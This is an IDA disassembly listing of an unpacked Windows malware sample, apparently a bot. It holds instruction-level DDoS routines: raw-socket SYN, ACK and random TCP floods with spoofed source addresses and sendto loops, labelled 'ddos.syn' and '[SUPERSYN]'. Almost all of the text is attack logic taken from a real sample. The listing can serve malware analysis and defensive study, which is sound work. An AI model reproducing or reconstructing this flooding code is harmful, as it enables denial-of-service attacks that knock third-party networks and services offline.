;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	EB983BC8EA998682EA0FEB9FB2D7097E

; File Name   :	u:\work\eb983bc8ea998682ea0feb9fb2d7097e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00116000 (1138688.)
; Section size in file		: 00116000 (1138688.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40F6F1+3B20o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423030
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40DC10
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_290]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_441330	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44145C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4413B8	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4413B8	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4413B8	; ntohs
		mov	[ebp+var_12], ax
		call	sub_417408
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4413B8	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4413B4	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_417408
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_417408
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4413B8	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 7C82FA46h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 7C80A427h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417860
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_417408
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4413B8	; ntohs
		mov	[ebp+var_14], ax
		call	sub_417408
		mov	edi, eax
		shl	edi, 10h
		call	sub_417408
		or	edi, eax
		push	edi
		call	dword_4413B8	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4413B4	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4413B8	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40B004
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40B004
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 7C80A427h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_423068
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40C4F7
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_441450	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_441318	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE95
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41791F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41791F
		mov	edi, eax
		call	sub_417408
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40F6F1+3CFCo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_441438	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231F4


loc_401495:				; DATA XREF: ___:off_425784o
					; ___:off_4267D4o
		push	eax
		call	sub_4173AC
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231AC
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+var_3BC]
		push	offset unk_42317C
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4413B8	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	esi, dword_421064
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	byte_43C210, 45h
		call	dword_4413B8	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_43C212, ax
		mov	word_43C214, bx
		mov	word_43C216, di
		mov	byte_43C218, 80h
		mov	byte_43C219, bl
		mov	word_43C21A, di
		jz	short loc_401684
		call	sub_417408
		mov	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		push	1
		mov	dword_43C21C, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------


loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		mov	dword_43C21C, eax


loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C220, eax
		call	sub_417408
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C224, dl
		call	sub_417408
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C225, dl
		call	sub_417408
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C226, di
		mov	word_43C22A, bx
		inc	edx
		mov	word_43C228, dx
		call	sub_417408
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C22C
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C210
		push	[ebp+var_4]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------


loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42311C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4230BC
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40F6F1+15F0o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40198C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40DC10
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_40198C+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_401988
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_401915:				; CODE XREF: sub_4018CA+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40191D:				; CODE XREF: sub_4018CA+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401940
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_401940:				; CODE XREF: sub_4018CA+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_40191D
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40194E:				; CODE XREF: sub_4018CA+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	ebx
		jnz	short loc_40194E
		push	64h
		nop
		call	near ptr 7C802442h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401972:				; CODE XREF: sub_4018CA+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	ebx
		jnz	short loc_401972
		dec	[ebp+arg_4]
		jnz	short loc_401915
		pop	edi
		pop	esi
		pop	ebx


loc_401988:				; CODE XREF: sub_4018CA+3Ej
		xor	eax, eax
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40198C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE95
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41791F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41791F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018CA
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C2
		push	1
		pop	eax


loc_4019C2:				; CODE XREF: sub_40198C+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_40198C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D1	proc near		; DATA XREF: sub_40F6F1+3A27o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D1F
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423260
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_401A4E
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40DC10
		add	esp, 14h


loc_401A4E:				; CODE XREF: sub_4019D1+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_4019D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A6D	proc near		; CODE XREF: sub_401D1F+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_441330	; WSAStartup
		test	eax, eax
		jz	short loc_401AAD
		xor	eax, eax
		jmp	loc_401D1B
; ---------------------------------------------------------------------------


loc_401AAD:				; CODE XREF: sub_401A6D+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44145C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D13
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D09
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_50], 2
